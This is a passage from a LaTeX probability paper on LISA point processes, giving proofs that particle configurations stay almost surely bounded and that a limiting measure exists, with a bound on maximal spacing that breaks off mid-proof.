conforms to $\mathrm{Unif}[0,y_2]$. Indeed, just ignore all the white
particles in the construction and distinguish among all `black'
particles the ones which are really black in $[0,x')$ and `dark grey'
which lie in $[x',x_2)$. So the \textrm{c.d.f.\ } passes through the point
distributed as $u_{1,1}$ above. Iterating to other segments, we
conclude the demonstration of the equivalence.

\section{Boundedness of LISA processes}
\label{sec:bound-sequ-proc}

Next natural question to be addressed is whether the limiting
distribution of particles in LISA, when it exists, has an
\textrm{a.\,s.\ }\ bounded support. This is trivially true for
Example~\ref{ex:rnu}, but it is not that evident in other
examples. Notice, that since the series $1/n$ diverges, each particle
will be chosen infinitely many times as a parent point. Thus the
rightmost particle present at stage $n$, for instance, in Example~\ref{ex:clu} will
eventually be chosen and with probability 1/2 will produce a
particle yet more to the right. So the support is growing, but will it
stay compact nevertheless?

\subsection{Boundedness in Example~\ref{ex:clu}.}
Recall Example~\ref{ex:clu}. Let $W=\stsets{R}$,
$X_{n_0}=X_2=\{0,1\}$. It is convenient to slightly reformulate the rule
by which new particles are added:
\begin{equation}\label{eq:xin}
  x_{n+1} = x_{\chi_{n}} + \varepsilon_{n+1} d_{n} \eta_{n+1}\,,
\end{equation}
where $\{\varepsilon_n\}$ is a sequence of {i.\,i.\,d.\ } random variables equal to
$\pm 1$ with probability $1/2$, $\{\eta_n\}$ are {i.\,i.\,d.\ } uniformly
distributed in $[0,1]$ and given $x=x_{\chi_n}$, $d_n=d(x,X_n) \in
\mathcal{F}_{S(x,X_n)}$ for the stopping set
$S(x,X_n)=[x-d(x,X_n),x+d(x,X_n)]$.

\begin{Th}\label{prop:bounded1}
  Denote
  \begin{align*}
    m_n &=\min \{x:\ x \in X_n\}\,,\\
    M_n &=\max \{x:\ x \in X_n\}
  \end{align*}
  for the LISA model in Example~\ref{ex:clu}. Then
  \begin{equation}
    \label{eq:fin}
    \P\{-\infty<\liminf m_n\leq \limsup M_n < +\infty\}=1\,.
  \end{equation}
\end{Th}
\begin{proof}
  We only prove that $\limsup M_n$ is finite \textrm{a.\,s.\ } A proof of finiteness
  of $\liminf m_n$ is similar. Introduce $\nu_m$ --- time of the
  $m$-th jump of the process $\{M_n\}$ as follows:
  \begin{align*}
    &\nu_0=n_0\,,\\
    &\nu_{m+1}=\min\{k: M_k>M_{\nu_{m}}\}, m=0,1,2,\dotsc
  \end{align*}
  Now consider imbedded process $\tilde{M}_m=M_{\nu_m}$. From
  \eqref{eq:xin} we obtain
  \begin{equation}\label{eq:max1}
    \tilde{M}_{m}= x_{\chi_{\nu_{m}-1}} + d_{\nu_{m}-1} \varepsilon_{\nu_{m}}
    \eta_{\nu_{m}}, m=1,2,\dotsc
  \end{equation}
  The distribution of $\eta_n$ is concentrated on $(0,1]$, thus the
  maximum can only have $m$-th jump at time $n$ if
  $\chi_n=\nu_{m}$. That means, on the $(\nu_{m}{-}1)$-th step the
  $(m-1)$-th maximum is chosen, implying that
  $x_{\chi_{\nu_m-1}}=\tilde{M}_{m-1}$. Moreover, $\varepsilon_{\nu_m-1}$ must be
  equal to $1$ in order for a positive jump to happen. Thus
  \eqref{eq:max1} is reduced to
  \begin{equation}
    \tilde{M}_m = \tilde{M}_{m-1} + d_{\nu_m} \eta_{\nu_m},\ \
    m=1,2,3,\dotsc
  \end{equation}
  Notice that $d_{\nu_m}=d_{\nu_m}(\tilde{M}_{m-1})$ is less or equal than
  $\tilde{M}_{m-1}-\tilde{M}_{m-2}$, and for that expression we have
  \begin{displaymath}
    \tilde{M}_{m-1}-\tilde{M}_{m-2}=d_{\nu_{m-1}}
    \eta_{\nu_{m-1}}, \ \ m=2,3,\dotsc
  \end{displaymath}
  By induction, one can get
  \begin{equation*}
  \tilde{M}_{m}-\tilde{M}_{m-1} \leq \prod_{k=1}^{m} \eta_{\nu_k},
  \end{equation*}
  so, since $\tilde{M}_0 = 1$, we come to a bound
  \begin{equation} \label{est:max}
    \tilde{M}_{m}\leq 1+ \sum_{l=1}^{m} \prod_{k=1}^{l} \eta_{\nu_k},
    m=1,2,3,\dotsc
  \end{equation}
  Notice now that $\{\eta_{\nu_k}\}_{k\geq 1}$ and $\{\eta_k\}_{k\geq 1}$
  are equally
  distributed, since by the definition of $\nu_m$,
  $n_0=\nu_1<\nu_2<\nu_3<\dotsc,$ and $\{\eta_k\}$ are independent of
  $\{\nu_m\}$. The sequence $\{\tilde{M}_{m}\}$ is monotonely increasing,
  therefore it has an \textrm{a.\,s.\ }\ limit $\tilde{M}_\infty$, although possibly
  infinite. However, since $\E\eta_n<1$,
  \begin{displaymath}
    \E\lim_{m\to\infty}\tilde{M}_m = \lim_{m\to\infty}\E\tilde{M}_m < \infty,
  \end{displaymath}
 in particular, $\tilde{M}_\infty<\infty$ \textrm{a.\,s.\ }\ thus
  finishing the proof.
\end{proof}

\begin{Rem}
  Same proof with minor tweaks works for any initial configuration
  $X_{n_0} = \{x_1, x_2, \ldots, x_{n_0}\}$ and even for $\eta$ in the
  scheme~\eqref{eq:xin} distributed with an arbitrary law $F$
  concentrated on $(0,1]$ with $\P(\eta_n<1)>0$ (to guarantee a
  convergence of the sum below).
  Estimate~\eqref{est:max} turns into the following:
  \begin{displaymath}
    \tilde{M}_{m}\leq d_{n_0}(\tilde{M}_0)\Big(\tilde{M}_0 + \sum_{l=1}^{m}
    \prod_{k=1}^{l} \eta_{\nu_k}\Big),
    m=1,2,3,\dotsc
  \end{displaymath}
  Here $\tilde{M}_0$ and $d_{n_0}(\tilde{M}_0)$ are constants dependent on
  $X_{n_0}$ only.
\end{Rem}

\begin{Rem}
  Dubbins--Freedman random distribution functions $F(t)$ arising in
  Example~\ref{ex:rnu} are almost surely continuous, but also each
  point $t\in [0,1]$ is almost surely a point of growth of the
  distribution function $F(t)$, \textrm{i.\,e.\ } for any $\epsilon>0$ there exist
  $t'\in (t-\epsilon,t)$ and $t''\in (t,t+\epsilon)$ such that
  $F(t')<F(t)<F(t'')$. In contrast, Example~\ref{ex:clu} provides
  random distribution functions which are continuous, but also contain
  constant regions, \textrm{i.\,e.\ } the corresponding limiting measure does not
  have connected support. To see this, observe that with positive
  probability there happen to be a configuration of points generated
  by the algorithm of Example~\ref{ex:clu} where there are 2 pairs of
  points: $x_1< x_2< y_1< y_2$ each pair consisting of closely
  situated points separated by a relatively large void, \textrm{i.\,e.\ }
  $x_2-x_1, y_2-y_1$ are small but $(y_1-x_2)/(x_2-x_1)$ and
  $(y_1-x_2)/(y_2-y_1)$ are large. The construction of new points
  scales with distance, so that the evolution of the initially present
  pair of points at distance $\delta$ has the same distribution as the
  evolution of two initial points at the distance 1 scaled by factor
  $\delta$.  Therefore according to just proven
  Proposition~\ref{prop:bounded1} with a positive probability the
  maximum of all the offsprings of the pair $x_1, x_2$ (affected only
  by the distance $x_2-x_2$) will be strictly smaller than the minimum
  of all the offspring of the pair $y_1, y_2$ (based only on
  $y_2-y_1$) so that there will be a void somewhere between $x_2$ and
  $y_1$ not filled with any points.
\end{Rem}

\subsection{Boundedness in Example~\ref{ex:cld}.}
Important feature of the model considered in the previous section is
that the particles cannot jump over each other and thus the influence
of a new added particles can be effectively controlled. This is now
longer the case in Example~\ref{ex:cld} where the farthest particle
can be potentially generated by any parent point. In this subsection
we present sufficient conditions, under which the more general
$d$-dimensional LISA process from Example~\ref{ex:cld} is bounded \textrm{a.\,s.\ }

Let $W=\stsets{R}^d$,\ $d\in\stsets{N}$. Initial configuration is given by
$X_0=\{x_1,x_2,\dotsc,x_{n_0}\}$.  New particles are added
according to the rule:
\begin{equation}\label{eq:xin}
  x_{n+1} = x_{\chi_{n}} + d_{n}(x_{\chi_{n}})\, \psi_{n+1},\ n=n_0, n_0+1, \dotsc
\end{equation}
As before, $\chi_n$ are independent, distributed uniformly on
$\{0,1,\dotsc,n\}$, $d_n(x)$ is the distance from $x$ to
$X_{n}{\setminus}\{x\}$, $\psi_n$ are {i.\,i.\,d.\ } random variables with a
given distribution which may now have a non-compact support. Next, we
set $\eta_n=\|\psi_n\|$ and denote $C=\E\eta_1$.  Also, put $\hat{\eta}_n =
\eta_n {\wedge} 1 = \min\{\eta_n, 1\}$ with corresponding
$\hat{C}=\E\hat{\eta}_1$.

\begin{Lem}\label{lem:markov}
  Let $\{\eta_n\}$, $\{\phi_n\}$ be {i.\,i.\,d.\ } sequences of non-negative random
  variables, independent between themselves. Put $\hat{\eta}_n=\eta_n\wedge 1$,
  $\theta_n = \eta_n \prod_{i=1}^{n-1}\hat{\eta}_i$. Let also $C=\E\eta_1$ and
  $\E\phi_1$ be finite. Put $\hat{C}=\E\hat{\eta}_1$. Assume $\hat{C}<1$. Define
  $$
    Y_n= \bigvee_{i=1}^{n}\theta_i(\phi_i+1)
  $$
  Then $Y_{\infty} = \max\limits_n Y_n <\infty$ \textrm{a.\,s.\ } Moreover,
  \begin{equation}\label{eq:est}
    \E Y_{\infty} \leq \frac{C}{1-\hat{C}}(1+\E\phi_1)
  \end{equation}
\end{Lem}

\begin{proof}
  Note that $Y_n$ are monotone and thus converge to some (possibly infinite)
  limit. However, one can show that $Y_n$ are bounded in $\lll^1$:
  $$
    \E Y_n= \E \bigvee_{i=1}^n \theta_i(\phi_i+1) \leq \sum_{i=1}^n \E
    \theta_i (\phi_i+1) = \sum_{i=1}^n \E\eta_i\prod_{j=1}^{i-1}
    \E\hat{\eta}_j (\E\phi_i+1) =
  $$
  $$
    \sum_{i=1}^n C(\E\phi_i+1)\hat{C}^{i-1} = C(\E\phi_1+1)
    \sum_{k=0}^{n-1}\hat{C}^k<\frac{C\E\phi_1+1}{1-\hat{C}}.
  $$
  Hence $Y_\infty$ has finite expectation with a correspondent bound.
\end{proof}

\begin{Th}\label{th:2}
  If $C+\hat{C}<1$ then $\sup\limits_n|\xi_n|<\infty$ \textrm{a.\,s.\ } Moreover,
  $$
    \E\sup_n|\xi_n| \leq A_0+\frac{n_0 D_0 C}{1-\hat{C}-C}\,,
  $$
 for some constants $A_0, D_0$ depending only on the initial
  configuration $X_{n_0}$.
\end{Th}

\begin{proof}
  First of all, organize $\{x_n\}$ in a tree in the following natural way:
  for every
  point $x_{i_0}$ from $X_{n_0}$ denote all the points $x_n$ such
  that $\chi_{n-1}=i_0$ as $\{x_{i_0i_1}\}_{i_1=1}^\infty$, in the order
  of appearance. We will further say that $x_{i_0i_1}$ are the children of
  $x_{i_0}$. Then all the children of $x_{i_0i_1}$ we
  denote by $\{x_{i_0i_1i_2}\}_{i_2=1}^\infty$, and so on.

  Let $\nu(i_0\dotsc i_k)$ denote the (random) time of appearance of
  $x_{i_0\dotsc i_k}$. Let also $\psi_{i_0\dotsc i_k} :=
  \psi_{\nu(i_0\dotsc i_k)}$, $\eta_{i_0\dotsc i_k} :=
  \eta_{\nu(i_0\dotsc i_k)}$, $d_{i_0\dotsc i_k}(\cdot) := d_{\nu(i_0\dotsc i_k)-1}(\cdot)$. Observe that
  $\{\psi_{i_0\dotsc i_k}\}_{k,i_0,\dotsc,i_k\in\stsets{N}}$ and hence
  $\{\eta_{i_0\dotsc i_k}\}_{k,i_0,\dotsc,i_k\in\stsets{N}}$ are {i.\,i.\,d.\ }
  families.

  Fix $i_0\leq n_0$ for now. We have in our new notation:
  \begin{equation}\label{est:i0}
    \bigvee_{i_1}|x_{i_0i_1}-x_{i_0}| = \bigvee_{i_1} |x_{i_0}
    + d_{i_0i_1}(x_{i_0})\psi_{i_0i_1} - x_{i_0}| =
    \bigvee_{i_1}|d_{i_0i_1}(x_{i_0})\psi_{i_0i_1}|
  \end{equation}
  Estimate $d_{i_0i_1}(x_{i_0})$, $i_1=1,2,\dotsc$ Recall that
  it is a distance to the closest neighbour, hence it can not be larger
  than distance to the points that already exist for sure at the moment
  of $x_{i_0i_1}$'s appearance, that is, its mother $x_{i_0}$ and all of
  the older sisters $x_{i_0 1},x_{i_0 2},\dotsc,x_{i_0,i_1-1}$. We can write:
  \begin{align}
    d_{i_0 1}(x_{i_0}) &\leq d_{n_0}(x_{i_0}) =:d_{i_0} \nonumber\\
    d_{i_0 2}(x_{i_0}) &\leq d_{i_0 1}(x_{i_0})\wedge|x_{i_0 1}-x_{i_0}|
    \leq d_{i_0 1}(x_{i_0})\wedge|d_{i_0 1}(x_{i_0})\psi_{i_0 1}| \nonumber\\
    &\leq d_{i_0 1}(x_{i_0})(1\wedge|\psi_{i_0 1}|) \leq d_{i_0}\hat{\eta}_{i_0 1}\nonumber\\
    d_{i_0 3}(x_{i_0}) &\leq d_{i_0 2}(x_{i_0}) \wedge |x_{i_0 2}-x_{i_0}| \leq
    d_{i_0 2}(x_{i_0}) \wedge |d_{i_0 2}(x_{i_0}) \psi_{i_0 2}|\nonumber\\
    &\leq d_{i_0 2}(x_{i_0})(1\wedge|\psi_{i_0 2}|) \leq d_{i_0}\hat{\eta}_{i_0 1}\hat{\eta}_{i_0 2}\nonumber\\
    \vdots &\nonumber\\
    d_{i_0i_1}(x_{i_0}) &\leq d_{i_0}\prod_{j=1}^{i_1-1}\hat{\eta}_{i_0j}\label{est:d}\\
    \vdots &\nonumber
  \end{align}

  Introduce $\theta_{i_0\dotsc i_k}:=\eta_{i_0\dotsc i_{k-1}i_k}\prod
  \limits_{j=1}^{i_k-1}\hat{\eta}_{i_0\dotsc i_{k-1} j}$.
  Using~\eqref{est:d} we can estimate the right part of~\eqref{est:i0}:
  \begin{align*}
    \bigvee_{i_1}|d_{i_0i_1}(x_{i_0})\psi_{i_0i_1}| &\leq
    d_{i_0}\bigvee_{i_1}|\psi_{i_0i_1}|\prod_{j=1}^{i_1-1}\hat{\eta}_{i_0j}
    = d_{i_0}\bigvee_{i_1}\eta_{i_0i_1}\prod_{j=1}^{i_1-1}\hat{\eta}_{i_0j}\\
    &= d_{i_0}\bigvee_{i_1}\theta_{i_0i_1} =: d_{i_0}L^{i_0}_1
  \end{align*}
  Apply Lemma~\ref{lem:markov} with $\theta_n=\theta_{i_0 n}$, $\phi_n=0$,
  $n=1,2,\dotsc$ to see that $L^{i_0}_1$ is a proper random variable with
  $\E L^{i_0}_1\leq \frac{C}{1-\hat{C}}$.

  Now estimate the second generation.
  \begin{align}
    \bigvee_{i_1,i_2}|x_{i_0i_1i_2}-x_{i_0}| &\leq \bigvee_{i_1}
    \left(|x_{i_0i_1}-x_{i_0}|+ \bigvee_{i_2}|x_{i_0i_1i_2}
    -x_{i_0i_1}|\right)\nonumber\\ &\leq \bigvee_{i_1}\left(
    |x_{i_0i_1}-x_{i_0}| + \bigvee_{i_2}d_{i_0i_1i_2}
    (x_{i_0i_1})\eta_{i_0i_1i_2}\right)\label{est:i2}
  \end{align}
  Note that
  $$
    d_{i_0i_1i_2}(x_{i_0i_1}) \leq d_{i_0i_1 1}(x_{i_0i_1})
    \prod_{j=1}^{i_2-1}\hat{\eta}_{i_0i_1j}\leq|x_{i_0i_1}-x_{i_0}|
    \prod_{j=1}^{i_2-1}\hat{\eta}_{i_0i_1j}
  $$
  and therefore we continue~\eqref{est:i2}:
  \begin{align*}
    &\leq\bigvee_{i_1}\left(|x_{i_0i_1}-x_{i_0}|\left(1+\bigvee_{i_2}
    \eta_{i_0i_1i_2}\prod_{j=1}^{i_2-1}\hat{\eta}_{i_0i_1j}\right)\right)\\ &\leq
    d_{i_0}\bigvee_{i_1}\left(\theta_{i_0i_1}\left(1+\bigvee_{i_2}
    \theta_{i_0i_1i_2}\right)\right)=:d_{i_0}L^{i_0}_2
  \end{align*}
  Note that $\{\bigvee\limits_{i_2}\theta_{i_0i_1i_2}\}_{i_1=1}^\infty$ is
  an i.i.d. sequence, distributed like $L^{i_0}_1$ and independent of
  $\{\theta_{i_0i_1}\}_{i_1=1}^{\infty}$. Using Lemma~\ref{lem:markov}
  again, we obtain $L^{i_0}_2<\infty$ \textrm{a.\,s.\ }, and moreover,
  $$
  \E L^{i_0}_2 \leq \frac{C}{1-\hat{C}} + \left(\frac{C}{1-
  \hat{C}}\right)^2
  $$

  Repeating that argument for $n=3,4,\dotsc$ we obtain a monotone sequence
  $\{L^{i_0}_n\}_{n=1}^\infty$, where $d_{i_0}L^{i_0}_n$ is an \textrm{a.\,s.\ } bound for
  elements from $n$-th generation of descendants of the point $x_{i_0}$,
  $n=1,2,\dotsc$ Since $\{L^{i_0}_n\}$ is monotone and is bounded in $\lll^1$:
  $$
    \E L^{i_0}_n \leq \sum_{i=1}^n\left(\frac{C}{1-\hat{C}}\right)^i
    < \frac{C}{1-C-\hat{C}}
  $$
  there exists an \textrm{a.\,s.\ } limit $L^{i_0}_\infty := \lim\limits_{n\to\infty}L^{i_0}_n$
  with $\E L^{i_0}_\infty \leq \frac{C}{1-C-\hat{C}}$.
  We finish the proof by recalling arbitrariness of $i_0$:
  $$
    \E\sup_{n\geq 1}|x_n| \leq \sup_{i_0\leq n_0}|x_{i_0}|+
    \E\sup_n\sup_{i_0,\dotsc,i_n}|x_{i_0\dotsc i_n}-x_{i_0}|\leq
    A_0 + \frac{n_0 D_0 C}{1-\hat{C}-C}
  $$
  Here $A_0=\sup\limits_{i_0\leq n_0}|x_{i_0}|$, $D_0=\sup\limits_{i_0
  \leq n_0} d_{n_0}(x_{i_0})$
\end{proof}

As an illustration, the 1D Darling's model in Example~\ref{ex:cln} is bounded if
$a<0.8239$ which is a value obtained numerically.

\begin{Rem}\label{rem:conveq}
  The bound in~\eqref{eq:est} and therefore the condition $C+\hat{C} <1$
  may be improved if one could find "nicer" conditions sufficient for
  $$
  \E H = \E \max_{k\geq0} (\eta_k \hat{\eta}_1\hat{\eta}_2 \ldots \hat{\eta}_{k-1}) < 1
  $$
  for {i.\,i.\,d.\ } non-negative $\eta_k$. We demonstrate that for a particular
  distribution of $\eta_k$. If we introduce $\zeta_k = \log \eta_k$, with
  the distribution function $F(t)$, then the calculation shows that
  $G(t) = \P(\log H < t)$ must satisfy the integral equation:
  \begin{equation}\label{eq:int-eq}
    G(t) = \begin{cases}
      \int_{-\infty}^0 G(t-z)\,dF(z)+(F(t)-F(0))G(t),& t\geq 0\\
      \int_{-\infty}^t G(t-z)\,dF(z),& t<0.
    \end{cases}
  \end{equation}
  Let $\eta_k$ have the following distribution:
  $$
    \P(\eta_k<y)=\begin{cases}
      0, & y<0,\\
      (1-p)y^\beta, & 0\leq y<1,\\
      1-py^{-\alpha}, & y\geq 1.
    \end{cases}
  $$
  for some $\alpha>1,\beta>0,0<p<1$.
  In that case, $\zeta_k=-\log\eta_k$ has \textrm{c.d.f.\ }
  $$
    F(t)=\begin{cases}
      (1-p)e^{\beta t},& t\leq 0,\\
      1-pe^{-\alpha t},& t>0,
    \end{cases}
  $$
  and one can directly obtain the solution for~\eqref{eq:int-eq},
  $$
    G(t)=\begin{cases}
      (\frac{p}{1-p}+1)^{-1-\frac{\beta}{\alpha}}e^{\beta 1},&t<0,\\
      (\frac{p}{1-p}e^{-\alpha t+1})^{-1-\frac{\beta}{\alpha}},&t\geq 0
    \end{cases}
  $$
  leading to the following distribution for $H$:
  $$
    \P(H<x)=\begin{cases}
      0, & x<0,\\
      (\frac{p}{1-p}+1)^{-1-\frac{\beta}{\alpha}}x^\beta,&0\leq x<1,\\
      (\frac{p}{1-p}x^{-\alpha}+1)^{-1-\frac{\beta}{\alpha}},&x\geq 1.
    \end{cases}
  $$
  It is not possible to find an analytic form for $\E H$ in that
  generality, but if we fix $\beta$ to be, say, $1/4$, then we can
  find the regions where $\E H<1$ and $\E \eta+\E\hat{\eta}<1$ numerically:

  \center\includegraphics[scale=0.4]{regions_wb.png}

  So, as we see, the condition $\E\eta+\E\hat{\eta}<1$ of
  Theorem~\ref{th:2} is far from being tight for boundedness.
\end{Rem}

\section{Properties of the limiting measure}
\label{sec:lim-measure}

In previous sections we addressed the boundedness of the series of
point configurations $X_n$. In this section we study the limiting
sample measure and its properties. We are still working with most
general model of Example~\ref{ex:cld} in the phase space
$W=\stsets{R}^d$,~$d\geq 1$ and initial
configuration $X_{n_0}=\{x_1,\dotsc,x_{n_0}\}$. New particles are added
according to the rule:
\begin{displaymath}
  x_{n+1} = x_{\chi_n}+d_n(x_{\chi_n})\,\psi_n,\ \ n=n{+}1,n{+}2,\dotsc
\end{displaymath}
so that $X_{n+1}=X_n\cup \{x_n\}$. Again, $\chi_n$ are independent,
uniformly distributed over $\{1,2,\dotsc,n\}$, $\psi_n$ are {i.\,i.\,d.\ }
random variables distributed according to a given probability measure
$\mu$, $d_n(x)$ is, as before, a distance from $x$ to its closest
neighbour in $X_n\setminus\{x\}$. Denote by
$$
  \mu_n=\frac{1}{n}\sum_{k=1}^{n}\mu_{n,k} = \frac{1}{n}\sum_{k=1}^{n}
  \mu(d_n^{-1}(\ \cdot\ -x_k))
$$
the distribution of $x_{n+1}$, and denote by
$$
  \nu_n=\frac{1}{n}\sum_{k=1}^n \delta_{x_k}
$$
the empirical measure of the process $X_n$ after $n$ steps.

We will start with a short lemma providing some insight on the behaviour
of $d_n(x)$.

\begin{Lem}
Assume that $\bigcup\limits_n X_n=X_\infty$ is \textrm{a.\,s.\ } bounded and
$\P(|\psi_1|<1)>0$. Then
$$\lim\limits_{n\to\infty}\max_{1\leq k\leq n}d_n(x_k)=0$$
\end{Lem}
\begin{proof}
First, notice that for every $k$, $\lim\limits_{n\to\infty}d_n(x_k)=0$.
This follows from $\P(|\psi_1|<1)>0$ and $\sum\P(\chi_n=k)=\infty$,
\textrm{i.\,e.\ } every point is going to be picked up an infinite number of times
and infinite number of times its $d_n(x_k)$ is going to shrink.

Next, assume the contrary. Let
$$\limsup_n\max_{1\leq k\leq n}d_n(x_k)>\varepsilon>0$$
Pick $\{k_j\},\{n_j\}$ such that
$$
d_{n_j}(x_{k_j})>\varepsilon, j\in\stsets{N}
$$
Since $d_n(x_k)$ monotonely tends to zero as $n$ goes to infinity,
we can assume all $k_j$ to be different and moreover,
$d_{k_j}(x_{k_j})\geq d_{n_j}(x_{k_j})$. That means, in particular,
that
$$
  |x_{k_i}-x_{k_j}|>\varepsilon, \ \ j\in\stsets{N},\ i<j,
$$
\textrm{i.\,e.\ } $X_\infty$ can't be covered with a finite number of balls of
radius $\varepsilon$ ---
a contradiction with the \textrm{a.\,s.\ } boundedness.
\end{proof}

\begin{Lem}
Assume that $\bigcup\limits_n X_n=X_\infty$ is \textrm{a.\,s.\ } bounded.
Assume that one of the weak limits $\lim\limits_{n\to\infty}\mu_n$,
$\lim\limits_{n\to\infty}\nu_n$ exists \textrm{a.\,s.\ } and is equal to $\mu^*$. Then
the other one exists \textrm{a.\,s.\ } and is equal to $\mu^*$, too.
\end{Lem}
\begin{proof}
Let $\rho$ be the Levy-Prokhorov distance between probability distributions. We will use
the following property:
\begin{equation}\label{eq:levy-prokh-prop}
  \rho\left(\sum\alpha_k F_k,\sum\alpha_k G_k\right)\leq \max\left(1,
  \sum \alpha_k\right)\max\rho(F_k,G_k)
\end{equation}
Taking it into account, one can write:
\begin{eqnarray*}
  \rho\left(\frac{1}{n}\sum_{k=1}^n\delta(\cdot-x_k),\frac{1}{n}\sum_{k=1}^n
  \mu_{n,k}\right)\leq\max_{1\leq k\leq n}\rho\left(\delta(\cdot-x_k),
  \mu_{n,k}\right)\leq\\
  \rho(\delta(\cdot),\mu(\max_{1\leq k\leq n}
  d_n^{-1}(x_k)\cdot))\to 0,\ \ n\to \infty,
\end{eqnarray*}
since
$$\lim\limits_{n\to\infty}\max\limits_{1\leq k\leq n}d_n(x_k)=0,$$
and for every $\mu$ -- probability measure on $\stsets{R}$, $\mu(a_n\cdot)\to\delta$,
whenever $a_n\to \infty$.
\end{proof}

As we have noted, Example~\ref{ex:rnu} is equivalent to the
Dubbins--Freeman construction, so the limiting measure $\mu^*$
exists. The Hausdorff dimension of its support, in a slightly more
general setting, was found in~\cite{KinPit:64}, which is equal to 1/2
here. We are going to use the technique from \cite{Pey:79} to show
that a limiting measure exists in Example~\ref{ex:clu}, however, it is
still an open question, how to calculate the Hausdorff dimension of its
support and whether a limit exists at all in Example~\ref{ex:cln}.

Now, we have $W=\stsets{R}$, $\psi_n\sim \mathrm{Unif}(-1,1)$. Let $\{x_{n,k}\}_{k=1}^n,
n=1,2,\dotsc$ denote the rearrangement of the elements of $X_n$ in
ascending order. Then the complement of $X_n$ consists of $n{+}1$
intervals, $I_{n,j}$:
\begin{equation*}
\begin{split}
I_{n,0}&=({-}\infty,x_{n,1})\\
I_{n,k}&=[x_{n,k},x_{n,k{+}1}),k=1,2,\dotsc,n{-}1,\\
I_{n,n}&=[x_{n,n},{+}\infty)
\end{split}
\end{equation*}

\begin{Lem}[cf.Lemma 2.1 in \cite{Pey:79}]\label{lem:peyrr1}
  Let $0\leq b\leq a$ be integers, $F\subset (0,1,2,\dotsc,a)$,
  $\mathrm{card} F=b$. Then
  $$
    \mu_n(\bigcup_{j\in F}I_{a,j})\to z_{(a,F)}
  $$
  Here $z_{(a,F)}$ is independent of $\{\chi_j\}_{1\leq j\leq a}$, and
  its law has density
  $$
    \frac{\Gamma(a)}{\Gamma(\hat{b})\Gamma(a-\hat{b})}t^{\hat{b}-1}
    (1-t)^{a-\hat{b}-1}
  $$
  for $\hat{b}=b-\frac{1}{2}(\one(0\in F)+\one(a\in F))$.
\end{Lem}
\begin{proof}
  Follows from the result on the generalised Polya's urn scheme:
  probability for a new
  point to appear in $I_{n,j}$ is $\frac{1}{2n}$ if it is $I_{n,0}$ or
  $I_{n,n}$ and $\frac{1}{n}$ otherwise.
\end{proof}

\begin{Cor}
  $$
    \lim_{n\to \infty}\sup_{1\leq j\leq n}\lim_{m\to\infty}\mu_m(I_{n,j})=0
  $$
\end{Cor}

\begin{Th}
  Almost surely exists $\mu^*$ -- a probability measure such that\\
  $\mu_n\stackrel{w}{\to} \mu^*$.
\end{Th}

\begin{proof}
  By Lemma~\ref{lem:peyrr1} we can define almost surely an increasing
  function $G(x)$ on $X_{\infty}$: $G(x):=\lim\limits_{m\to\infty}
  \mu_m(({-}\infty,x))$. Note that since almost surely
  $$
    {-}\infty<\inf X_\infty<\sup X_\infty < {+}\infty,
  $$
  thus $\sup(x:G(x)=0)>{-}\infty$ and $\inf(x:G(x)=1)<{+}\infty$.
  Moreover, by corollary,
  $$
    \sup(G(x):x<y) = \inf (G(x): x>y),
  $$
  therefore, almost surely $G(x)$ is a continuous
  cumulative distribution function for some probability measure $\mu^*$,
  which is easily shown to be a weak limit of $\{\mu_n\}$.
\end{proof}

We will now prove a couple of facts about the third model. First, let
us make the following observation. Denote by $d^*_n$ the maximal spacing
of a configuration $X_n$:
$$
  d^*_n=\max\limits_{1\leq i\leq n}d_n(x_i)
$$

\begin{Th}
  If $\nu_n=\sum\limits_{i=1}^{n}\delta_{x_i}$ is an empirical measure
  of the process $X_n$ on the $n$-th step, then the Levy-Prokhorov
  distance between the
  empirical measures for the two consecutive configuration is given
  by the following expression
  $$
    \rho(\nu_n,\nu_{n+1})=\min(n^{-1},\max(n^{-2},d^*_n))\,.
  $$
\end{Th}

We will now present some bound for the decrease of the maximal spacing. The
technique we use is essentially due to~\cite{Pey:79}.

Introduce $\phi(t)=1-(\E\eta^t+\E\hat{\eta}^t)$ and $\sigma=\sup\limits_{
t>0,\phi(t)<1}\{\frac{\phi(t)}{t}\}$.

\begin{Th}
  If $C+\hat{C}<1$, then
  $\limsup\limits_{n\to\infty}n^\sigma d^*_n<\infty\ \textrm{a.\,s.\ }$
\end{Th}

\begin{proof}
  First step of the proof is to estimate $d_n(x_k)$ from above with a
  certain well-behaving construction. Introduce a triangular array
  $\{\Delta_{n,k}\}\ 1\leq k\leq n,\ n\geq 1$ as follows.
  $$
    \Delta_{n_0,k}=d_{n_0}(x_k),k=1,\dotsc,n_0,
  $$
  For $n\geq n_0$ we put
  $$
    \Delta_{n+1,k}=\begin{cases}
      \Delta_{n,k}\hat{\eta}_n, & \text{if\ } k=\chi_n,\\
      \Delta_{n,k}\eta_n, & \text{if\ } k=n+1,\\
      \Delta_{n,k} & \text{otherwise.}
    \end{cases}
  $$
  In other words, at each step pick one "diameter" and replace it by
  two diameters, scaled with the realisations of $\eta$ and $\hat{\eta}$.
  That corresponds to the new point being added to the configuration
  at the $n+1$-th step with its initial distance, and it's mother point's
  distance being scaled correspondently.

  It is not very hard to see that for any $n\geq n_0,k\leq n$, one has
  a bound
  \begin{equation}\label{eq:maxspacebnd}
    d_n(x_k)\leq \Delta_{n,k}.
  \end{equation}
  Now, prove that the configuration $\{\Delta_{n,k}\}$ behaves nicely.
  Pick a positive $t$ so that $\E\eta^t+\E\hat{\eta}^t<1$. Such $t$
  exists, because of the starting conditions.
  Consider the quantity $\sum_{k\leq n}\Delta_{n,k}^t$.
  $$
    \sum_{k\leq n+1}\Delta_{n+1,k}^t=\sum_{k\leq n}\Delta_{k,n}^t-
    \Delta_{n,\chi_n}^t+\Delta_{n,\chi_n}^t(\eta_n^t+\hat{\eta}_n^t)=
    \sum_{k\leq n}\Delta_{n,k}^t-\Delta_{n,\chi_n}^t\phi(t)
  $$
  Then if $\mathcal{F}_n$ is the sigma-algebra generated by the evolution of
  $X_n$ up to time $n$, one has
  $$
    \E\Big(\sum_{k\leq n+1}\Delta_{n+1,k}^t\vert\mathcal{F}_n\Big)=\Big(1-\frac{\phi(t)}{n}\Big)
    \sum_{k\leq n}\Delta_{n,k}^t,
  $$
  and so ${\prod_{1\leq j<n}
  (1-\frac{\phi(t)}{j})^{-1}}{\sum_{k\leq n}\Delta_{n,k}^t}$, together with
  sigma-algebra $\mathcal{F}_n$, is a positive martingale, which has an \textrm{a.\,s.\ }
  finite limit. However,
  $$
    n^{\phi(t)}\prod_{1\leq j<n}(1-\frac{\phi(t)}{j})=\prod_{1\leq j<n}
    (1+\frac{1}{j})^{\phi(t)}(1-\frac{\phi(t)}{j})
  $$
  has a positive limit as well, because $0<\phi(t)<1$. Therefore
